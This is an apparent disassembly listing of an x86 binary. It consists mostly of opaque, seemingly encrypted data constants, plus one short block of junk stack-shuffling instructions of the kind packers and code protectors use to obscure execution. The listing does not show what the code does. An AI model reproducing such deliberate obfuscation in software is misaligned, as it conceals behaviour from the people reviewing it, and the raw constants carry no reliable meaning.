		dd 0B004F37Ch, 0B1AD0E17h, 7C3h, 442239DEh, 0DFBD9E76h
		dd 7E5CFF11h, 1BF962B0h, 0B593C84Dh, 9085521Ah,	0F71FEDCBh
		dd 5BB88664h, 0BD542200h, 0AEEC09Eh, 0D205A183h, 0AD4C2684h
		dd 6C4A1104h, 0AE8739Eh, 4E0D049Bh, 312AE72Bh, 596C7453h
		dd 0AD341AC0h, 78BF96CAh, 6C4ED54Fh, 0F178C03Fh, 9C0FFFAEh
		dd 79F7B3DCh, 0F5DB0316h, 0CB14F67Dh, 569979F7h, 636EF573h
		dd 6873EFF9h, 3F040225h, 0CC1707F6h, 0CE4E3125h, 26AD934Bh
		dd 6DE6AE71h, 0D856BAEh, 0A4777D48h, 4E77086h, 80DD140h
		dd 0BA693053h, 58030EDCh, 7F245821h, 4C48A91Ch,	71Bh, 0ECCA9186h
		dd 8765F61Eh, 260457B9h, 0C3A1BA58h, 5D3B20F5h,	0E82DAAC2h
		dd 4FC79573h, 0B3602E0Ch, 15FCCAA8h, 0B2966846h, 0D206492Bh
		dd 55F4CE84h, 3FD10D04h, 8332F91Ch, 21F96060h, 8871B43Bh
		dd 3DB578BFh, 0C048D4B6h, 0BA925978h, 108B7B39h, 0D14E31E0h
		dd 3326B08Eh, 0E67E05EBh, 0E372B4B2h, 15FCBAA0h, 779A6846h
		dd 58C1C1E4h, 96159C82h, 536CAA1Ch, 0A96C2A10h,	0D951CFB2h
		dd 4366F51Bh, 3E4B497Ch, 49BCFC98h, 0EC6FA266h,	8AD1400Eh
		dd 2CF26767h, 0AC8CBF46h, 8ED166A2h, 0C2826C57h, 7874D523h
		dd 673h, 9472E92Eh, 2F0D4EC6h, 0CEACAF61h, 6B491200h, 5E3789Dh
		dd 40D5026Ah, 0A76F3D1Bh, 0B08D6B4h, 6DA47250h,	5A3E10EEh
		dd 0D206F1D3h, 0FD9C7684h, 2309D148h, 123EDABh,	0C76B987Ah
		dd 2BDA1D7Eh, 374BB48h,	0AEF178BCh, 55060AC8h, 0D13F6B32h
		dd 0B129A78Ah, 6C8DFDECh, 17430C22h, 0B77B5EFDh, 5523015Ah
		dd 7C7C9FBCh, 0D0573DE5h, 72B5248Dh, 5DFE13D1h,	3D1EF63Ah
		dd 79C65B8Eh, 0D7CB721Fh, 0FD3477F4h, 17AFB7D0h, 0E4141071h
		dd 0BD000005h, 5523015Ah, 0F0BE9CBFh, 8F5D3B20h, 2CFAD883h
		dd 0F99472E9h, 0AAB16473h, 4318FECCh, 0DF7C9765h, 7DDE3301h
		dd 62E9CD9Fh, 84D20780h, 4A8C2B05h, 0B0D3888Ch,	938606E9h
		dd 6FA7654Bh, 77E9EA68h, 0FAA99144h, 0AF2D10D7h, 0BC349028h
		dd 0FAC68D78h, 0D6E61BE8h, 5E0D4EC6h, 60BC9AFh,	68A97755h
		dd 98BBA076h, 0FFFF22D1h, 57DEC41Ah, 72B14ED8h,	0F46C5295h
		dd 0B2208B6Dh, 9ACD1072h, 5060D881h, 0D452354Ah, 0A229FB16h
		dd 72B251C0h, 951C0245h, 72B251B3h, 6846F538h, 0C1E4779Ah
		dd 4B1005C3h, 0A971E868h, 67093CC3h, 0B4E6CAAh,	0BAC703D4h
		dd 0E1DD3E1Dh, 52Bh, 0DCBAA176h, 7755060Eh, 16F467A9h
		dd 0B391CA48h, 4D2B30E5h, 0F81DBAB2h, 5FB78563h, 0C3501EFCh
		dd 25ECBA98h, 0A2865836h, 0D208391Bh, 45E4BE84h, 2B4E0D04h
		dd 53312AE7h, 52090DCBh, 585682Fh, 59E0C61Ch, 78C07B86h
		dd 79FA450Ah, 7EBB17h, 775DA01Dh, 9A9678FFh, 0A11B78BFh
		dd 0BF9A381Ah, 0CB7ABD78h, 4A202DE8h, 0D878BF9Ah, 0D7AE552Ah
		dd 0B4E49086h, 5Fh, 868C4ADBh, 0A86EB2D5h, 1AC990B3h, 7CA2B737h
		dd 9B380F96h, 3BB578BFh, 0C03AD2B4h, 56DD5778h,	78C03B74h
		dd 0DB07B6F9h, 37FE213Ah, 82586588h, 1078C03Bh,	0FD84FC74h
		dd 78C03B1Bh, 86685DA0h, 0C478C03Bh, 23EA0D4Eh,	8818FB3Eh
		dd 0E1790C33h, 0F012E48Fh, 20000000h, 84A7B462h, 475DABDh
		dd 0A3684E0Dh, 69B350D2h, 702B0EDCh, 4F72E92Ch,	0D8839351h
		dd 7BE031F5h, 0E1FD1458h, 0C1052833h, 0AE5D0C4Fh, 54070AC8h
		dd 0FD846A31h, 7EC7CF1Bh, 47A5DA0h, 0C7D3A66Dh,	0A235DC7Eh
		dd 551DC944h, 250BBA07h, 2442F60h, 0C3A62D43h, 0C64DC54Dh
		dd 7EC7F8E4h, 7F432669h, 0A6A6C992h, 0D856BB3h,	0B699C24Fh
		dd 0C021AE29h, 52307378h, 0A38951C8h, 0B67E701Ch, 1BF5B572h
		dd 8A727FBCh, 31E05A85h, 37DE9C82h, 9D784624h, 2A1A87BEh
		dd 86E717AFh, 3BE8Ah, 2734E300h, 0C2997B49h, 61FA16E4h
		dd 0FE5DB583h, 98C35220h, 8A4D1FBAh, 24F2D08Bh,	0BD8B69F2h
		dd 59270556h, 0F3C5A3B8h, 9A6880Fh, 512B84D2h, 4A1104B2h
		dd 0ED6EA664h, 0AA2003CAh, 402635DCh, 6B5F41C8h, 5CE37EC7h
		dd 7EC76B7Ah, 94D7BCFFh, 48CC3BB1h, 9C2309D1h, 78BF9BC5h
		dd 0C8938242h, 71F8DEA5h, 78C03B8Fh, 0FF22D114h, 0C03B1CF2h
		dd 87FCAA78h, 8FE20580h, 0F28449E4h, 0A33B8F3Ah
		dd 0A24C8D70h, 73000000h, 684E0D04h, 0CCEF6CAAh, 69672205h
		dd 6B886AF1h, 850C7EC7h, 7EC76BA3h, 0BD00E528h,	5CFF16DAh
		dd 6F652C39h, 769B7EC7h, 0D341FFE5h, 0A655060Bh, 927F4DC3h
		dd 0B3A6A6C9h, 83FE856Bh, 4878BF8Fh, 849D2705h,	0ECF1785Eh
		dd 0E972B5E5h, 1302C0A6h, 799C6A48h, 6900ABE2h,	0A00117AFh
		dd 2D6A4h, 0F4CCB00h, 0AAB16331h, 4912FECCh, 0E6759D6Bh
		dd 80DB3A08h, 726507A2h, 0CDAB8A3h, 0A573510Ah,	410FED6Eh
		dd 0DBAD8BD0h, 0A8E70F7h, 391384D2h, 4A11049Ah,	0E8739E6Ch
		dd 4FC4820Ah, 3F22E90Ch, 0CA0D04DAh, 9E213DC0h,	2548F76Ch
		dd 4D2B30E1h, 6A4C00C5h, 0D006F325h, 0D10444A1h, 4D30FC77h
		dd 9C616A78h, 43B14BD0h, 0C14124DEh, 159C8258h,	78BFE132h
		dd 118474B7h, 148B01D3h, 0E8CE140Dh, 84265A61h,	0F11457CEh
		dd 7FDC35F3h, 0DD051C9Ch, 7CBB70F7h, 0B5F8C879h, 0DE0011CFh
		dd 97752437h, 9BC0510Fh, 7AE13478h, 0FEE19057h,	4D84D73Ah
		dd 0C1EC7B68h, 1C3C3899h, 85000002h, 1DEBC992h,	0B88664F7h
		dd 57250358h, 0F4C2A0BBh, 0C15C3A21h, 72E92CABh, 0B50C694h
		dd 0A7B45F2Dh, 4516FBC9h, 2AB19567h, 84D20B48h,	454F3CDh
		dd 2B2B4E0Dh, 920AF036h, 6BB1931Ah, 0F3367EC7h,	87748310h
		dd 2E7178BFh, 62637150h, 0BA4127FFh, 72B87BD7h,	7533195Ch
		dd 52DABD9Eh, 2A9505DFh, 4C928716h, 0E2D4DF66h,	96D9B022h
		dd 0B4EE7373h, 33CC482Dh, 983F726Eh, 0FE376924h, 149B8130h
		dd 0AA19825Fh, 0B573599Ch, 5321FF5Ch, 59669DBEh, 0A8E04C75h
		dd 1814B47h, 0F7200000h, 5CB88664h, 0BD5321FFh,	20F2C09Eh
		dd 868F5D3Bh, 105CF7D5h, 2F0D4EC7h, 0C8A6B561h,	644219FAh
		dd 2E07B96h, 0E3C54C30h, 6884D20Bh, 0D04EF8Eh, 682D2B4Eh
		dd 8BFEA263h, 5FB2DE8Ah, 2F12D9FCh, 8E74AAAFh, 0C09F4807h
		dd 64428578h, 64F71EDCh, 0C2977A41h, 77AFB213h,	0BB270A91h
		dd 0E5AC72B8h, 3FD5DB6Dh, 0FF32F91Ch, 0A2518E3Ch, 6FBD3FB2h
		dd 0C38119C5h, 24EB0E4Dh, 8258C141h, 0C70A159Ch, 960EB3BDh
		dd 0BE672D0Fh, 0B1AA6BB3h, 9FE2C78Eh, 99BC9F73h, 2F72EFD2h
		dd 0C1500E0Ch, 2237B79Ah, 0DA8F16FCh, 17ADB3E4h, 0E130EED4h
		dd 3CD6947Ah, 5235FC1Fh, 58030EDCh, 0B213E821h,	0FCF859DCh
		dd 0BBh, 4C2A31E6h, 0E7C5967Eh,	8664F719h, 23015AB8h, 0BD9BC055h
		dd 888D4A22h, 0EF27F5D3h, 53C08E6Ch, 0B55C2A08h, 12F6C8A6h
		dd 0D20CA98Bh, 0B5542E84h, 2B4E0D04h, 9F73362Bh, 0A0270DBCh
		dd 78BF977Dh, 0D7613F82h, 3EB69C42h, 0C94B9380h, 5EB7E392h
		dd 3013DAFDh, 0B4D920A3h, 7FA2E572h, 0D08D63Bh,	0B5642B4Eh
		dd 530809D7h, 0D4EC2330h, 0FFC7D8C9h, 53DFA4B8h, 259BB44h
		dd 870622CFh, 2A31E0A4h, 0C8937E4Ch, 1E36AE2h, 86F8CB0Eh
		dd 0B4CC1043h, 0B99C54A5h, 3BD71BD6h, 83F1FD20h, 0A76A283Ch
		dd 40DD1B4h, 0D4AC7157h, 57D8150Ah, 0F6C43A1Dh,	211D401Bh
		dd 3, 41520BEh,	0E1254813h, 0C4082B30h,	0A5E90C4Fh, 83C7EA71h
		dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	60A97D2h
		mov	edx, [esp]
		add	esp, 4
		push	43DAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edi
		mov	edi, edx
		push	edx
		mov	edx, 8
		add	edx, ecx
		mov	[edx], edi
		pop	edx
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_4FF07A
; ---------------------------------------------------------------------------
		dw 44A5h
		dd 0A95526E3h, 59532F6h, 0F2366F07h, 0AA2C2B8h,	0FFC50306h
		dd 5F4B1AE0h, 0D8276055h, 0D6AAF33Ch, 0C566437h, 7010F56Bh
		dd 0FF649C5Dh, 13A02D19h, 32D7774Bh, 59C5FB53h,	2C3A7007h
		dd 88E9600Dh, 4DB0E934h, 2898CC68h, 96F727Fh, 0C7054A05h
		dd 0CFC71076h, 610B6273h, 0CB736C1Eh, 60BA4700h, 14E87Dh
		dd 83C50000h, 0A6E1BFCFh, 5F9860F9h, 0C9BD1E56h, 9BD78A12h
		dd 0B70F75FFh, 810F5BD3h, 0
aBUq		db 'q',0
		align 2
		dw 0EE9h
		dd 0C0000000h, 8BF7161Fh, 91FE2BC4h, 423CC1B0h,	0B92Dh
		dd 0D38B0000h, 8B0B3C8Bh, 1DF781F1h, 0E9292E64h, 8, 8ECAD25Bh
		dd 0E575A6B5h, 0BDCDEF81h, 0E3B45ADFh, 0C8CF781h, 0C5BA29E9h
		dd 57543783h, 6830Fh, 840F0000h, 0
		dd 0FC0B048Fh, 2DFBE981h, 81F80DCFh, 0CF2DF7C1h, 0ACF9810Dh
		dd 0FFFFF8Eh, 0FFFFAB85h, 148E9FFh, 500000h, 540000h, 580000h
		dd 5C0000h, 600000h, 640000h, 680000h, 6C0000h,	0B00000h
		dd 0B40000h, 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h
		dd 0CC0000h, 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h
		dd 0E40000h, 0E80000h, 0EC0000h, 38h dup(0)
		dd 19BE0000h, 50EB0053h, 858D009Ch, 60AA450h, 25E58589h
		dd 85890607h, 60AA590h,	8BC68B60h, 70A318Dh, 85C66106h
		dd 6072C05h, 0CE854h, 8F0C0000h, 2A227F29h, 5548FD3Ch
		dd 0BD8B659Bh, 60726E5h, 4E85Fh, 68290000h, 5CBBEE62h
		dd 5054C380h, 424448Bh,	0D18B5250h, 0CE9310Fh, 5B000000h
		dd 4ED891D6h, 7A52213Ch, 5A6D024Dh, 50008B58h, 5F5B5051h
		dd 24448959h, 7C7EBB04h, 66585BD3h, 0FFB909BBh,	731ADB5h
		dd 1F858D06h, 8B060A7Bh, 71DEDB5h, 66D0FF06h, 3CD1CB81h
		dd 0A5948589h, 0BD89060Ah, 60705A5h, 4EE9h, 0BE900h, 0CF6A0000h
		dd 0EE5ED03Ch, 95842E24h, 0B58B56E7h, 60AA590h,	85830689h
		dd 60AA590h, 60C35E04h,	0A450B58Dh, 0FEB060Ah, 0FF006A56h
		dd 9495FF36h, 5E060AA5h, 8304C683h, 0EC75003Eh,	0FF5C361h
		dd 680h, 319D8B00h, 8D06070Eh, 0AA66185h, 0C1B58B06h, 89060711h
		dd 72C9985h, 39EB06h, 0CC00BC00h, 0E400BC02h, 0BC02h, 8A000000h
		dd 387F511Eh, 0D64E4812h, 0A81A591Ah, 8277521Eh, 9B765859h
		dd 0BF4E7277h, 0B31A703Bh, 9B6A7303h, 0D726819h, 0BF7E5D12h
		dd 891A5617h, 0EF1A3F9Fh, 34441C77h, 0DF6EB529h, 0D95EBD73h
		dd 0FE1A2773h, 0BC4C7A77h, 266B48DFh, 0A754805Bh, 0EF1CB578h
		dd 4A1B3C77h, 0FD1D2FD6h, 437CFCFCh, 439914BCh,	791D3382h
		dd 3C134977h, 0D82A3DCAh, 0F66E3C71h, 37916F27h, 0FB1E85CFh
		dd 289FB577h, 731C3B7Eh, 76B69BEAh, 0E4C9C371h,	0DEA7BF2Fh
		dd 0EF1C3B47h, 0A44A2B03h, 0FB1E85CFh, 289FB577h, 731C3B7Eh
		dd 76B3AAEAh, 0E4C9C371h, 3A9FB52Fh, 851C3B78h,	0F4F26F77h
		dd 0DB1A3C77h, 7441FF2Ch, 7F1E182Bh, 641E1833h,	0FC1A3C77h
		dd 94CAFF24h, 23B27DC0h, 37918414h, 134C3C1Dh, 0FD1A3C74h
		dd 0A0D96257h, 7B3E48FEh, 0BB3E78F6h, 0DF1A3C6Ah, 9BD96A31h
		dd 0AAA3880Fh, 67565992h, 9887B5ADh, 381C3B7Bh,	783639F2h
		dd 0BF706A71h, 0DF19D422h, 0B23A3C77h, 9B9361B4h, 0BF9B3853h
		dd 0FD073853h, 0AB5F3C77h, 0BED67AB4h, 20B370F7h, 37F879E1h
		dd 0EF1A3C73h, 6BB28425h, 9B4A6321h, 39095C4h, 0DA5EB716h
		dd 7F1CD473h, 0BFC63C77h, 707217B9h, 6444CFFDh,	43A55A77h
		dd 0DF5EB5BFh, 0A5188973h, 4BE5EEC2h, 791D0DDAh, 574C3C1Dh
		dd 0DF1A3C74h, 0B1D96257h, 0F33E48FEh, 0FF3E78F6h, 0FD1A3C60h
		dd 41D96A31h, 19700114h, 32F234CDh, 0D56123F2h,	0BC1A5671h
		dd 0F71A3F9Fh, 38411C77h, 0D946B52Ch, 0DA5EBD73h, 7F1A2873h
		dd 7C497F77h, 98E8859Ah, 0E0EF393Ch, 0F71A26F7h, 0FB08D477h
		dd 0FB43C77h, 24A8F44h,	0F26AA262h, 0B212AA5Fh,	0E030CB88h
		dd 104303C5h, 0A61A56A7h, 0FB1A3F9Fh, 3E431C77h, 0DA56B52Eh
		dd 5B5EBD73h, 0BF1A2A73h, 1C4B7D77h, 85AC3B91h,	0F716D473h
		dd 0C6233C77h, 176B7B0Fh, 0D39CDDE8h, 1745C47Eh, 0EF20EA41h
		dd 0E93E08F6h, 664A06B1h, 0F01DFDFAh, 0FB1ED471h, 0FFF63C77h
		dd 987A3C77h, 97CF24CEh, 0BF1A3C63h, 222459A8h,	81679835h
		dd 0DDF450ACh, 739BE0A7h, 787098B6h, 9F406625h,	7F17D427h
		dd 0BE563C77h, 0A1F21739h, 10B65595h, 0A611D06Bh, 0A143EBFCh
		dd 0F93E78FCh, 6913CFCh, 7B3E78FEh, 0BF1FBC78h,	79A33C77h
		dd 0B74FA8B8h, 9D1A568Bh, 0F8F26F77h, 0DD1A3C77h, 7741FF2Ch
		dd 0FE1E182Bh, 0A21E1833h, 9C1A3C77h, 0EF36FF24h, 9187A489h
		dd 66300B1h, 0FD1A2F9Eh, 1D5AF377h, 86B5D4B5h, 0DD4A2598h
		dd 0ACC0635Bh, 66CD3407h, 0F770EC88h, 0FB19D422h, 0A03A3C77h
		dd 929361B4h, 3B9B3853h, 0BF003853h, 8A5F3C77h,	2E23EFB4h
		dd 90841E1Ch, 5DBBB9FEh, 0FD703A7Dh, 0FE19D422h, 223A3C77h
		dd 0D39361B4h, 9B9B3853h, 0EF0E3853h, 0A25F3C77h, 447CA4B4h
		dd 0F27A0E01h, 0FE1A38F0h, 0C1A25A77h, 0BD9C3304h, 551A3C77h
		dd 17915DAEh, 0F718F072h, 5E9FB577h, 7E1C36D1h,	7B9324B7h
		dd 79109ADEh, 53A3FC44h, 2C1A3C75h, 0FAAFB7DDh,	311C3B69h
		dd 0FC3639F2h, 0F3AC7F71h, 0A213A11Fh, 0FE258D0Eh, 0DEDB1873h
		dd 309B1F7Ch, 0CB9CA64Ah, 8D08B78h, 0FC2B91C2h,	0AC1A5671h
		dd 0FE1A3F9Fh, 0BC431C77h, 9B56B52Eh, 0FB5EBD73h, 0EF1A2073h
		dd 344B7D77h, 0EE4FC632h, 6EAB5B8Ah, 0CF9F15F5h, 0F21C3B79h
		dd 0B56123F2h, 8A1A5671h, 0EF1A3F9Fh, 34471C77h, 0DF76B52Ah
		dd 0D95EBD73h, 0FE1A2073h, 0BC4F7977h, 67EB1F0Dh, 2A1E8C59h
		dd 0A2970D4Bh, 7D1C3B59h, 9AAFB7B9h, 21C3B45h, 0AD1A56A7h
		dd 7F1A3F9Fh, 7C411C77h, 0FB46B52Ch, 0CB5EBD73h, 0F71A2B73h
		dd 38497F77h, 0BA3CC9E1h, 91FCBD11h, 5A9FB531h,	1C3B5Ah
		dd 86003D1Ah, 0C1A7B9FAh, 7A913A70h, 0FD1D26C2h, 0F9DBB9FEh
		dd 49153A70h, 7A9FFA8Ch, 0EC1C3B5Bh, 374B3C1Dh,	0EF1A3C74h
		dd 0AED96557h, 0FF3E70FEh, 0F93E78F6h, 0FE1A3C6Bh, 71D96D36h
		dd 0AC9F1270h, 0B225F5B7h, 0DF1381FCh, 0EA723A70h, 9DC58A61h
		dd 0F99BCBFCh, 5288753h, 2A1A566Bh, 0BF1A3F9Fh,	1C471C77h
		dd 0CB76B52Ah, 0D35EBD73h, 0FB1A2B73h, 3E4F7977h, 52C631C8h
		dd 4EB78988h, 0BF703A70h, 0DF19D424h, 0B43A3C77h, 0AB9367B4h
		dd 0BF9B3853h, 0FD073853h, 0AD593C77h, 588AF0B4h, 94B0FEF2h
		dd 54143EC3h, 0F09FB1A4h, 7E1C360Ch, 0FC3A11EAh, 76CAC371h
		dd 0F92B41C2h, 7A9F3D71h, 361C3B77h, 0D80C89F2h, 72258371h
		dd 72DC4009h, 0FD1D1072h, 15E1B724h, 0FE1A3C73h, 0A702F8C4h
		dd 347B5C27h, 891E1833h, 0EF1FBC78h, 48A43C77h,	0A42EF7E9h
		dd 0F1F23CFCh, 2A1A3C77h, 4D90A35Ah, 1C1492B6h,	0B9D0EE2Ch
		dd 6645C7FCh, 0AF1E1833h, 0FB1CB878h, 40313C77h, 0F81D1A62h
		dd 4EB78988h, 0BF703A70h, 0DF19D422h, 0B23A3C77h, 9B9361B4h
		dd 0BF9B3853h, 0FD003853h, 0AB5F3C77h, 7BD0ECB4h, 5A11A130h
		dd 0A405B9FAh, 62933A7Dh, 0F11D2EDEh, 0FB1CB778h, 40913C77h
		dd 0F81D3606h, 6DF3EC88h, 41A3C77h, 230F76CEh, 0F8B57A1Fh
		dd 0EBBAB007h, 52A8A8C8h, 0C09FB5C2h, 941C3B73h, 7CF26977h
		dd 9F1A3C77h, 5647FF2Ah, 6E1E181Bh, 0EA1E1833h,	0BE1A3C77h
		dd 0CFFCFF22h, 0F702C0D2h, 3460344Ah, 36CCB711h, 0D81EE1EAh
		dd 0EA9FFA71h, 0B01C3B5Bh, 0F29BA9FCh, 40393A70h, 0F81D17F6h
		dd 0F63B781Fh, 0FE1386AEh, 0EB9B5057h, 0B8E6D153h, 0A61A5619h
		dd 0FB1A3F9Fh, 3E431C77h, 0DA56B52Eh, 5B5EBD73h, 0BF1A2173h
		dd 1C4B7D77h, 32909C1Dh, 0CBBF4EBEh, 441506B1h,	50AFC3A7h
		dd 941C3B46h, 7CF26D77h, 9F1A3C77h, 5643FF2Eh, 6E1E183Bh
		dd 0EF1E1833h, 0BA1A3C77h, 0E545FF26h, 73659F65h, 756123F2h
		dd 0EE1A5671h, 0DF1A3F9Fh, 2C431C77h, 0D356B52Eh, 0DF5EBD73h
		dd 0FD1A2173h, 3D4B7D77h, 9FCEF03Ch, 7582398Bh,	4A913FABh
		dd 0E91D268Ah, 7293EC88h, 0FD1D2A0Ah, 154B3C1Dh, 0FE1A3C74h
		dd 26D96557h, 0BB3E70FEh, 0DB3E78F6h, 0EF1A3C60h, 83D96D36h
		dd 0D2DE4B27h, 0FA2BFDCAh, 0FB9FFA71h, 381C3B5Bh, 0C9EE548Eh
		dd 0D07A14CBh, 0EF1A2FF5h, 0F714D577h, 0B15B3C77h, 6AB9D6FAh
		dd 9A559C22h, 0DC6B02E6h, 9B1EBD16h, 8605A5F1h,	0E2B3B9FEh
		dd 42E53A70h, 0FD1D0DDAh, 154B3C1Dh, 0FE1A3C74h, 26D96557h
		dd 0BB3E70FEh, 0DB3E78F6h, 0EF1A3C6Ch, 5CD96D36h, 91B86A0Ch
		dd 0F203B1E4h, 0FE1A3AF7h, 7E873577h, 321C3B55h, 0D56123F2h
		dd 1A97B571h, 81C3B52h,	9AD33A7h, 0CD27B9FEh
		dd 43913A70h, 791D3D46h, 931FB9B1h, 0B55D3A70h,	0ECF26977h
		dd 0D71A3C77h, 7247FF2Ah, 7C1E181Bh, 0EB1E1833h, 3A1A3C77h
		dd 1E20FF22h, 0DF1EBE78h, 507C3C77h, 2B72F172h,	9D4ED6F2h
		dd 7C50FBCEh, 489B1873h, 0C2936995h, 0B91D109Ah, 0EEB78988h
		dd 0EF703A70h, 0F719D424h, 0A03A3C77h, 0A19367B4h, 0BA9B3853h
		dd 7F033853h, 0EC593C77h, 9E3E8B4h, 629E92E0h, 0FD6123F2h
		dd 0D9B5A71h, 2DE59C6Dh, 164A3C1Dh, 7F1A3C74h, 0E7D96457h
		dd 0DB3E78FEh, 0EB3E78F6h, 0F71A3C63h, 11D96C37h, 0F89C3317h
		dd 981A3C77h, 4509EFF6h, 367BE2FDh, 0D82B55F2h,	0EF943371h
		dd 81A3C77h, 0AE1A56A7h, 0FD1A3F9Fh, 3D471C77h,	5B76B52Ah
		dd 9B5EBD73h, 0DF1A2673h, 2C4F7977h, 0B2B99C2Eh, 728C6C9Ah
		dd 0FA161DF2h, 0FE1CD471h, 3AC03C77h, 330110C9h, 68FB717h
		dd 651C3B5Bh, 91455DB2h, 0FB70E4FBh, 0FD19D420h, 0A13A3C77h
		dd 39363B4h, 0FB9B3853h, 0DF023853h, 0B85D3C77h, 9BF996B4h
		dd 0FA7A1D41h, 0FA34A5FAh, 60A45A71h, 7B3E5DD8h, 0B52381FCh
		dd 1F103A70h, 0EC92B878h, 62333C77h, 0FD1D31B6h, 0D11FB9B1h
		dd 94553A70h, 7CF26F77h, 9F1A3C77h, 5641FF2Ch, 6E1E182Bh
		dd 0ED1E1833h, 0B81A3C77h, 869AFF24h, 4D05BF62h, 0A89B5A6Bh
		dd 2A91A2F0h, 0D91D1A7Ah, 0EF1A389Fh, 7776F877h, 0AB8189C8h
		dd 0FD1A3A9Fh, 6A0DCF77h, 2F50B1DDh, 0BF993325h, 0D01A3C77h
		dd 11915A46h, 7C40642Dh, 701E1833h, 0AB1AB784h,	0FE1A349Fh
		dd 0C66F9E77h, 8288F9CBh, 564563F4h, 891E1833h,	842EBFCh
		dd 0FC2B91C2h, 0AD1A5671h, 0FE1A3F9Fh, 0BC421C77h, 9B5EB52Fh
		dd 0FB5EBD73h, 0EF1A2473h, 344A7C77h, 0F10DC5B0h, 3CAFB59Ch
		dd 731C3B78h, 756123F2h, 0EE1A5671h, 0DF1A3F9Fh, 2C431C77h
		dd 0D356B52Eh, 0DF5EBD73h, 0FD1A2873h, 3D4B7D77h, 899B5A41h
		dd 6FE53540h, 0D2EF81FEh, 2F993A70h, 0A51A5653h, 0FB1A3F9Fh
		dd 3E401C77h, 0DA4EB52Dh, 5B5EBD73h, 0BF1A2B73h, 1C487E77h
		dd 31941949h, 0EA1BB9FEh, 0FB703A70h, 0FD19D421h, 0A03A3C77h
		dd 0B9362B4h, 0FB9B3853h, 0DF0C3853h, 0B95C3C77h, 2BC98FB4h
		dd 0F73BB9FCh, 48A53A70h, 751D011Ch, 782B55EAh,	7E9B5A71h
		dd 0B5595FF5h, 0ECF26A77h, 0D71A3C77h, 7244FF29h, 7C1E1803h
		dd 0EA1E1833h, 391A3C77h, 0D96DFF21h, 4293F3FCh, 0E91D2C72h
		dd 0F77027FCh, 0FB19D421h, 0A33A3C77h, 8A9362B4h, 3B9B3853h
		dd 0BF063853h, 895C3C77h, 37CC3CB4h, 0C784696Ah, 4E91A795h
		dd 0FB1D11F6h, 7B9327FCh, 791D29EAh, 0BF7027FCh, 0DF19D421h
		dd 0B13A3C77h, 839362B4h, 0BF9B3853h, 0FD033853h, 0A85C3C77h
		dd 6CDF23B4h, 56BDA377h, 0DF1A3C66h, 0CEF780D6h, 0A654FB66h
		dd 0C76ADBA8h, 1FACA294h, 94C20FC6h, 7CF26C77h,	9F1A3C77h
		dd 5642FF2Fh, 6E1E1833h, 0EA1E1833h, 0BB1A3C77h, 0B351FF27h
		dd 3D079AFAh, 2CE28BCBh, 0BF1A349Fh, 527FB077h,	0D640EE3Ch
		dd 0F59733ADh, 9B1A3C77h, 60936616h, 0F81D2202h, 0FADCCCFCh
		dd 0B91D1072h, 8D1A5630h, 0EF1A3F9Fh, 34401C77h, 0DF4EB52Dh
		dd 0D95EBD73h, 0FE1A2973h, 0BC487E77h, 2D72D7B6h, 0D0B67B73h
		dd 0EF1A3EFAh, 76988977h, 22211843h, 0FD7027EEh, 0FE19D425h
		dd 253A3C77h, 0EB9366B4h, 9B9B3853h, 0EF0E3853h, 0A5583C77h
		dd 4415F1B4h, 0FD13D58Ch, 8F213C77h, 3DD71FC1h,	40DA72A3h
		dd 0D82B91C2h, 0B6AF1F71h, 7A1C3B7Eh, 0F16123F2h, 0FD16D571h
		dd 19D3C77h, 0A30775F6h, 4D291F2Bh, 0FE544F1h, 74C3C1Dh
		dd 0F71A3C74h, 0A5D96257h, 0F93E48FEh, 0FA3E78F6h, 7F1A3C60h
		dd 59D96A31h, 6EADA647h, 929FB5EAh, 9D1C3B61h, 0F8F26A77h
		dd 0DD1A3C77h, 7744FF29h, 0FE1E1803h, 0A31E1833h, 991A3C77h
		dd 0B705FF21h, 877999Ah, 70B7FC60h, 0FA18A5E2h,	0F14B7C71h
		dd 0F445F2C8h, 0E81A5677h, 0DF1A3F9Fh, 2C451C77h, 0D366B528h
		dd 0DF5EBD73h, 0FD1A2673h, 3D4D7B77h, 1C9108F4h, 535F75Eh
		dd 0AD5DC691h, 0EF703CFCh, 0F719D426h, 0A23A3C77h, 0B19365B4h
		dd 0BA9B3853h, 7F023853h, 0EE5B3C77h, 7B956DB4h, 7A937B5Fh
		dd 0F11D3D8Eh, 0F9D7B9FEh, 70933A70h, 0F81D35AAh, 7F1B2C9Eh
		dd 0E91A5677h, 0DF1A3F9Fh, 2C441C77h, 0D36EB529h, 0DF5EBD73h
		dd 0FD1A2573h, 3D4C7A77h, 449EF831h, 347A5C86h,	0D83C5DE2h
		dd 0DA871571h, 961C3B60h, 9DD28378h, 7897C4FCh,	0F8109AB0h
		dd 97483C1Dh, 0BF1A3C74h, 85D96657h, 0EB3E68FEh, 0F33E78F6h
		dd 0FB1A3C60h, 72D96E35h, 9814AA91h, 0EF30D7C9h, 83ABD6CEh
		dd 0D3F36C23h, 1E1A3C77h, 0B0CC15B3h, 0AB363178h, 6D81EC88h
		dd 1E18378h, 780ACDE2h,	369F3571h, 361C3B71h, 0EF1A3C7Eh
		dd 3FF279C3h, 7D88989Eh, 3087B16Fh, 751C36D1h, 781BFDFAh
		dd 0EF4AAF71h, 0FEF0B5C9h, 0BE89623Dh, 0D2C781FEh, 0AB443A70h
		dd 973E38FEh, 0FDF26977h, 5F1A3C77h, 3647FF2Ah,	5E1E181Bh
		dd 0F51E1833h, 0B21A3C77h, 2B0FFF22h, 8A3BA7A6h, 0FBA7B528h
		dd 801C3B7Ch, 0B811DDE2h, 8E1A5671h, 0EF1A3F9Fh, 34431C77h
		dd 0DF56B52Eh, 0D95EBD73h, 0FE1A2B73h, 0BC4B7D77h, 0F63B496Dh
